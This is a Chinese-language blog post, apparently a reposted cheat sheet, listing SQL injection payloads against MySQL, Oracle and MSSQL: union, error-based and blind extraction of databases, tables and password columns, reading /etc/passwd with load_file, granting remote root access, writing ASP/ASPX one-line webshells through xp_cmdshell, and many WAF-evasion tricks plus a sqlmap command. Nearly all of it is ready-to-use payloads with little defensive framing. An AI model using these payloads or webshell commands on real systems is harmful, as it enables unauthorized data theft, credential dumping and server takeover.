首页 > 数据库 >SQL注入的各种姿势

SQL注入的各种姿势

时间:2024-02-20 15:26:59浏览次数:39  
标签:姿势 name union xxx SQL where id select 注入

https://wooyun.js.org/drops/利用insert,update和delete注入获取数据.html

基础流程

# 排序定列数
1' order by 2#

# 识别字段输出位置
1' union select 1,2#

# 查数据库信息
1' union select user(),database()#

# 版本、用户名
' union select version(),substring_index(USER(),"@",1)#

# 全局变量
@@datadir	@@hostname	@@VERSION	@@version_complie_os

# 连接字符串
' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),substring_index(USER(),"@",1)#
' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),2#

# 所有库 所有表
' union select table_name,table_schema from information_schema.tables#

# 统计每个库中表的数量
' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema#

# DVWA库中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#

# USERS表中所有的列
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#

# USER、PASSWORD列中的内容
' union select user,password from dvwa.users#
' union select user,password from users#
' union select null,concat(user,0x3a,password) from users-- 

Mysql 手工注入

联合注入

?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+
group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+

报错注入

https://www.cnblogs.com/c1047509362/p/12806297.html 原理

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

爆库:

?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +

爆表:

?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where 	table_schema='security' limit 3,1),1) -- +

爆字段:

?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆数据:

?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

盲注

时间盲注

常用函数 sleep()

分割函数 substr、substring、left

分割函数编码后可不用引号,ascii() hex()

一般时间盲注我们还需要使用条件判断函数

if(expre1,expre2,expre3)

当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

布尔盲注

?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +

//如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +

//若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

insert,delete,update

这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,如用sqlmap会产生大量垃圾数据

尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入

二次注入和宽字节注入

二次注入

没有单引号的sql语句中,进行16进制编码,这样就不会带有单引号

宽字节注入:

单引号转义为 ' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字

所以把 %df 加上 %5c 就变成了一个汉字“運”,从而绕过转义

Oracle 手工注入

联合注入

?id=-1' union select user,null from dual--?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

布尔盲注

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64--

时间盲注

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

SQL手工注入

判断注入点是否存在

数字型注入

url后输入

and 1=1
and 1=2

如返回不同,则可判断注入点存在

例:

http://www.xxx.cn/news.php?p=1&id=4 返回错误

http://www.xxx.cn/news.php?p=1&id=4 and 1=1 返回正确

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 返回错误

字符型注入

url后输入

' and 1=1
and '1'='1'
and 1=2
and '1'='1

http://www.xxx.cn/news.php?p=1&id=4 返回错误

http://www.xxx.cn/news.php?p=1&id=4 and 1=1 and '1'='1 返回正确

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 and '1'='1 返回错误

搜索型注入

输入框中输入

' 返回错误

x%' and 1=1 and '%'=' 返回正确

x%' and 1=2 and '%'=' 返回错误

判断字段数

数字型

http://www.xxx.cn/news.php?p=1&id=4  order by 26 #返回正确

http://www.xxx.cn/news.php?p=1&id=4  order by 27# 返回错误

得出结论:字段数26。

字符型

http://www.xxx.cn/news.php?p=1&id=4  order by 26 # 返回正确

http://www.xxx.cn/news.php?p=1&id=4 order by 27 # 返回错误

得出结论:字段数26。

搜索型

x%' order by 26 # 返回正确

x%' order by 27 # 返回错误

得出结论:字段数26。

寻找可显示字段

数字型

http://www.xxx.cn/news.php?p=1&id=4  and 1=2 union select 1,2,3,4,5,6,7,8,9,....

字符型

http://www.xxx.cn/news.php?p=1&id=4  and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #

搜索型

x%' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #

查数据库名

数字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,database(),4,5,6,7,8,9,....

字符型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #

搜索型

x%' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #

查数据库中表名

数字型

http://www.xxx.cn/news.php?p=1&id=4  and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名'

# 数据库名也可以使用十六进制

字符型

http://www.xxx.cn/news.php?p=1&id=4  and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名' #

# 数据库名也可以使用十六进制

搜索型

X%' and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,.... from information_schema.tables where table_schema='数据库名' #

# 数据库名也可以使用十六进制

查表中的列名

数字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名'

表名也可以使用十六进制

字符型

http://www.xxx.cn/news.php?p=1&id=4  and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名' #

表名也可以使用十六进制

搜索型

x%' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name='表名' #

表名也可以使用十六进制

查表中的数据

数字型

http://www.xxx.cn/news.php?p=1&id=4  and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名

字符型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #

搜索型

x%' and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,.... from 表名 #

'

显示版本:select version();

显示字符集:select @@character_set_database;

显示数据库show databases;

显示表名:show tables;

显示计算机名:select @@hostname;

显示系统版本:select @@version_compile_os;

显示mysql路径:select @@basedir;

显示数据库路径:select @@datadir;

显示root密码:select User,Password from mysql.user;

开启外连:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

MySQL函数利用

MySQL提供了load_file()函数,可以帮助用户快速读取文件,但是文件位置必须在服务器上,文件路径必须为绝对路径,而且需要root权限

SQL语句如下:union select 1,load_file(‘/etc/passwd’),3,4,5 #

通常,一些防注入语句不允许单引号的出现,那么可以使用一下语句绕过:

union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #

对路径进行16进制转换。

MSSQL手工注入

与SQL注入不同的是,SQL利用的爆出显示的字段,MSSQL利用的报错注入,插入恶意的sql语句,让查询报错,在报出的错误中,显示我们想要的信息。

注入点:

www.xxx.cn/xxx/xxx.aspx?id=1

查询数据库版本

@@version:MSSQL全局变量,表示数据库版本信息。

测试语句

http://www.xxx.cn/xxx/xxx.aspx?id=1 and @@version>0

注意:“and @@vsersion>0”也可以写成“and 0/@@version>0”

报错信息:

在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 <X64 (Build 7601: Service Pack 1) (Hypervisor)‘ 转换成数据类型 int 时失败。

原因

@@version是MSSQL的全局变量

如果我们在“?id=1”后面加上“and @@version>0”,那么“and”后面的语句会将“@@version”强制抓换成int类型与0比较大小,但是类型转换失败,所以就将数据库信息暴露出来。

查询计算机名称

@@servername:MSSQL全局变量,表示计算机名称。

报错信息:

在将 nvarchar 值 ‘WINDOWS-XXXXXX‘ 转换成数据类型 int 时失败。

查询当前数据库名称

db_name():当前使用的数据库名称。

报错信息:

在将 nvarchar 值 ‘abc‘ 转换成数据类型 int 时失败。

查询当前连接数据库的用户

User_Name():当前连接数据库的用户。

报错信息:

在将 nvarchar 值 ‘dbo‘ 转换成数据类型 int 时失败。

注意:如果看到dbo,那么多半当前数据库的用户是dba权限。

查询其他数据库名称

爆其他数据库:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0

报错信息:

在将 nvarchar 值 ‘master‘ 转换成数据类型 int 时失败。

再爆其他的数据库则这么写:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0

继续的话要这么写:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0

查询数据库中的表名

查表名:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0)>0

报错信息:

在将 nvarchar 值 ‘depart‘ 转换成数据类型 int 时失败。

再爆其他表:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart'))>0

再继续:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart','worker'))>0

查询表中的列名或者是字段名

查字段名:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart')>0

报错信息:

在将 nvarchar 值 ‘ID‘ 转换成数据类型 int 时失败。

再爆其他字段:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID'))>0

再继续:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID','NAME'))>0

爆数据

查询数据:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 password from depart)>0

报错信息:

在将 nvarchar 值 ‘B5A1EF8730200F93E50F4F5DEBBCAC0B‘ 转换成数据类型 int 时失败。

写入一句话木马

如果数据的权限是dba,且知道网站绝对路径的话,那么我们就可以用这个语句来写一句话木马进去:

asp木马:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>''" > d:\KfSite\kaifeng\2.asp'--

aspx木马:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:\inetpub\wwwroot\2.aspx' --

原理是sql server支持堆叠查询,利用xp_cmdshell可以执行cmd指令,cmd指令中用【echo 内容 > 文件】可以写文件到磁盘里面。

利用hex编码绕过WAF

http://www.xxx.com/xxx/xxx.aspx?username=xxx 利用火狐浏览器中的hackbar工具的Encoding底下的“HEX Encoding”轻松把字符串编码成为可以利用的hex

然后利用报错注入就可以注入这个网站。

爆数据库版本

select convert(int,@@version)

hex编码后:0x73656c65637420636f6e7665727428696e742c404076657273696f6e29

然后使用如下方式注入:

http://www.xxx.com/xxx/xxx.aspx?username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)--

报错信息:

在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)‘ 转换成数据类型 int 时失败。

注意后面的注入语句:

dEcLaRe @s vArChAr(8000) //声明一个局部变量@s,类型为varchar(8000)

sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //给@s赋值,为select convert(int,@@version)的十六进制编码

eXeC(@s) //调用函数exec()执行“@s”中的内容。

爆当前数据库

select convert(int,db_name())

爆当前用户

select convert(int,User_Name())

爆表

select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0)) select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘CMS_ArticleClass’)))

爆字段

select convert(int,(select top 1 COLUMN_NAME from abc[数据库名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’)) select convert(int,(select top 1 COLUMN_NAME from abc[数据库名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’ and COLUMN_NAME not in (‘id’)))

爆数据

select convert(int,(select top 1 username from CMS_Admin)) select convert(int,(select top 1 password from CMS_Admin))

SQL注入之你问我答小知识

1.id-1,页面如果返回正确页面说明是有注入,那+1可以吗?(www.test.com/xsn.php?id=12+1)

不行,因为加号在url里面是空格的意思。

2.你知道mysql三种注释方式

三种:

①.# 这个注释直到该行结束;

②./注释多行/;

③.--+ 这个注释直到该行结束。

第三种需要解释一下,因为之前我不知道这个方法,说‘–’是注释符我还大概有印象,但是–+就懵。

其实是– ,注意–的后面有一个空格。但是在url里你直接空格会被浏览器直接处理掉,就到不了数据库里。

所以特意用加号代替。

3.“select select * from admin”可以执行吗?倘若不可以请说明。

不可以执行,在使用select双层的时候要把第二个括起来,否则无效。

4.倘若空格过滤了,你知道有哪些可以绕过吗?或者说你知道哪些可以替代空格吗?

这些是空字符。

比如un%0aion会被当做union来处理。

假如空格被过滤了,可能的sql语句就会变成:select from messages where uid=45or1=1

我们可以使用//来替换空格:http://www.xxx.com/index.php?id=45//or/**/1=1

另外:%09 %0A %0D + /|–|/ /@–|/ /?–|/ /|%20–%20|/ 都可以替代空格。

5.Windows下的Oracle数据库是什么权限?

Windows下的Oracle数据库,必须以system权限运行。

6.SQL注入和SQL盲注有何差别?

在常规的SQL注入中,应用返回数据库中的数据并呈现给你,而在SQL盲注漏洞中,你只能获取分别与注入中的真假条件相对应的两个不同响应,应用会针对真假条件返回不同的值,但是攻击者无法检索查询结果。

7.什么是引发SQL注入漏洞的主要原因?

Web应用未对用户提供的数据进行充分审查和未对输出进行编码是产生问题的主要原因。

8.什么是堆叠查询(stacked query)?

在单个数据库连接中,执行多个查询序列,是否允许堆叠查询是影响能否利用SQL注入漏洞的重要因素之一。

在MYSQL中,SELECT * FROM members; DROP members;是可以执行的,数据库是肯定支持堆叠查询的,但是让php来执行堆叠查询的sql语句就不一定行了。

9./*! ... */是啥意思?

MYSQL数据库特有,如果在注释的开头部分添加一个感叹号并在后面跟上数据库版本编号,那么该注释将被解析成代码,只要数据库版本高于或者等于注释中包含的版本,代码就会被执行。

select 1 /*!40119 - 1*/

该查询结果:

返回0(MySQL版本为4.01.19或者更高)

返回1(其他情况)

10.如果注入语句中的‘=’被过滤?

可以考虑使用like关键字替换:union select password from users where username like admin;

11.如果空格被过滤?可以考虑使用‘/**/’替换:

union/**/select/**/password/**/from/**/users/**/where/**/username/**/like/**/admin;

注意,如果过滤了关键字,在MySQL中,还可以在关键字内部使用内联注释来绕过:

uni/**/on//sel/**/ect/**/password/**/fr/**/om/**/users/**/wh/**/ere/**/username/**/like/**/admin;

12.SQL注入中的‘+’?

MSSQL:在MSSQL中,“+”运算符被用于字符串连接和加法运算,‘1’+‘1’=‘11’,1+1=2;

MySQL:在MySQL中,“+”运算符只被用于加法运算,‘1’+‘1’=‘2’,1+1=2;

Oracle:在Oracle中,“+”运算符只被用于加法运算,‘1’+‘1’=‘2’,1+1=2。

13.数据库中字符串的连接符?

MSSQL:‘a’+‘b’=‘ab’

MYSQL:‘a’ ‘b’=‘ab’

Oracle:‘a’||‘b’=‘ab’

14.注释符

MSSQL:‘-- ’(注意后面的空格),‘/.../’

MySQL:‘-- ’,‘# ’,‘/.../’,注意,--后面必须要有一个或者多个空格。

Oracle:‘-- ’,‘/.../’

三种数据库中,通用的注释符是‘-- ’

WAF绕过

规则层面的绕过

SQL注释符绕过

union/**/select

union/aaaa%01bbs/select

union/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select

内连注释:/!xxxx/

空白符号绕过:

MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/

正则的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-1:union%25A0select

函数分隔符号:

concat%2520(

concat/**/(

concat%250c(

concat%25a0(

浮点数词法分析:

select * from users where id=8E0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=\Nunion select

1,2,3,4,5,6,7,8,9,0

利用error_based进行SQL注入:

Error-based SQL注入函数非常容易被忽略

extractvalue(1,concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3)),1);

GeometryCollection((select * from (select * from

(select@@version)f)x))

polygon((select*from (select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()

MySQL特殊语法

select{x table_name}from{x information_schema.tables};

每一个点都能找到绕过的方法

以注释绕过为例子,开始Fuzz

注释符绕过:

*先测试最基本的: union/**/select

*再测试中间引入特殊字:union/aaaa%01bbs/select

*最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select

最基本的模式:

union/something/select

大小写绕过

如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只对整体进行过滤。

例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。

常规绕过手段

双写绕过

如果在程序中设置出现关键字之后替换为空,那么SQl注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。

例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。

编码绕过

可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。

http://tool.chinaz.com/Tools/urlencode.aspx

内联注释绕过

在Mysql中内容注释中的内容可以被当做SQL语句执行。

绕过过滤and和or的SQL注入

Mysql一些特性:

1、Mysql中的大小写不敏感,大写和小写一样。

2、Mysql中的十六进制与URL编码。

3、符号和关键字替换 and --> &&、or --> ||

4、内联注释与多行注释 /!内联注释/ /多行注释/。

5、Mysql中会自动识别URL与Hex编码好的内容。

绕过策略:

1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。

2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr

3、利用符号替代 and–>&&、or–>||

绕过去除空格的SQL注入

编码:hex,urlencode

空格URL编码:

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

Sqlmap安全检测:

sqlmap -u “URL” --hex --dbs --batch

绕过去除(union和select)的SQL注入

编码%0a、加入/**/符,union/select大小写、双写等绕过。

标签:姿势,name,union,xxx,SQL,where,id,select,注入
From: https://www.cnblogs.com/DumpInfou/p/18023174

相关文章

  • mysql在工作中遇到的
    一:数据类型数据类型上踩到过一次坑,是因为sql的不规范写法的,在这之前确实没有注意到过平时的写法,就是在表结构上那一列字段类型是字符串的,然后在sql查询的时候是数字:wherecol1=1234;这样子结果就导致了索引失效,这个是因为mysql的内部的执行计划导致的,我个人是这么理解的,就......
  • Docker中创建SQLServer
    1.背景是我在本地想安装SQLServer本地存储,一直在最后一步就是安装失败2.然后就想着在docker中安装SQLServer,然后再通过SSMS连接过来。第一步就是先安装Dockerwindowsdockerdesktop安装sqlserver2022_docker安装sql和vs2022-CSDN博客我装的Docker的windows是 安装成功后......
  • MySQL 执行计划需要详细查看的内容
    1、id(重要):每一个select语句都会分配一个id。 id相同,从上到下执行 id不同,id越大,越先执行 id为null,不查询,仅表示一个结果集2、select_type(重要):查询类型 simple:简单查询,不包括子查询,union查询 primary:select查询字段列中存在子查询 union:存在union操......
  • 打开云服务器的MySQL数据库表很慢
    远程连接MYSQL速度慢,有时远程连接到MYSQL用时4-20秒不等,本地连接MYSQL正常。出现这种问题的主要原因是,默认安装的MYSQL开启了DNS的反向解析。解决方法:在my.ini(WINDOWS系统下)或my.cnf(UNIX或LINUX系统下)文件的[mysqld]下加入skip-name-resolve这一句。连接mysql速度慢的解决......
  • centos6设置mysql5.7开机自启
    环境:OS:Centos6db:mysql5.7 1.修改启动文件#!/bin/sh#CopyrightAbandoned1996TCXDataKonsultAB&MontyProgramKB&DetronHB#ThisfileispublicdomainandcomeswithNOWARRANTYofanykind#MySQLdaemonstart/stopscript.#Usuallythisi......
  • 解锁Mysql中的JSON数据类型,怎一个爽字了得
    引言在实际业务开发中,随着业务的变化,数据的复杂性和多样性不断增加。传统的关系型数据库模型在这种情况下会显得受限,因为它们需要预先定义严格的数据模式,并且通常只能存储具有相同结构的数据。而面对非结构化或半结构化数据的存储和处理需求,选择使用非关系型数据库或者创建子表存......
  • Kob_配置Mysql与注册登录模块(中)
    配置Mysql与注册登录模块(中)session与jwtsession验证url包括公开的和需要权限的登录,注册这种页面肯定是公开界面,大家都可以访问.发送一个登录请求,将账号和密码发送到服务器,服务器接收数据去和数据库存储的账号密码数据进行比对,如果通过就向用户发送一个sessionid,用户会将这......
  • MySQL 零碎笔记2
    1.分区表适用场景:业务简单,单表查询,且都跟时间范围查询相关。数据需要定期清理数据,无需保留全部数据。数据更新频率较低,只有写入操作。优点:查询条件包含分区条件时,可以直接扫描必要的分区。也可以直接指定必要的分区来提高查询效率。聚合查询时,可以很容易地在每个分区上并行......
  • [SQL]测试数据
    --创建学生表CREATETABLEIFNOTEXISTS`student`(`id`INT(4)NOTNULLAUTO_INCREMENTCOMMENT'学号',`name`VARCHAR(30)NOTNULLDEFAULT'匿名'COMMENT'姓名',`pwd`VARCHAR(20)NOTNULLDEFAULT'123456'COMMEN......
  • odoo安装模块报错& 更新postgresql数据库
    在本地win11环境下部署了一个odoo17,一开始还好好的,运行几次之后,每次登录就会报错,安装模块时也会报错。一开始,服务器的报错信息提示keyerror:mail.... 个人判断应该是缺少模块,在尝试安装了邮件营销的模块后恢复正常。但是随后尝试别的模块时又开始报错。网页前端和服务......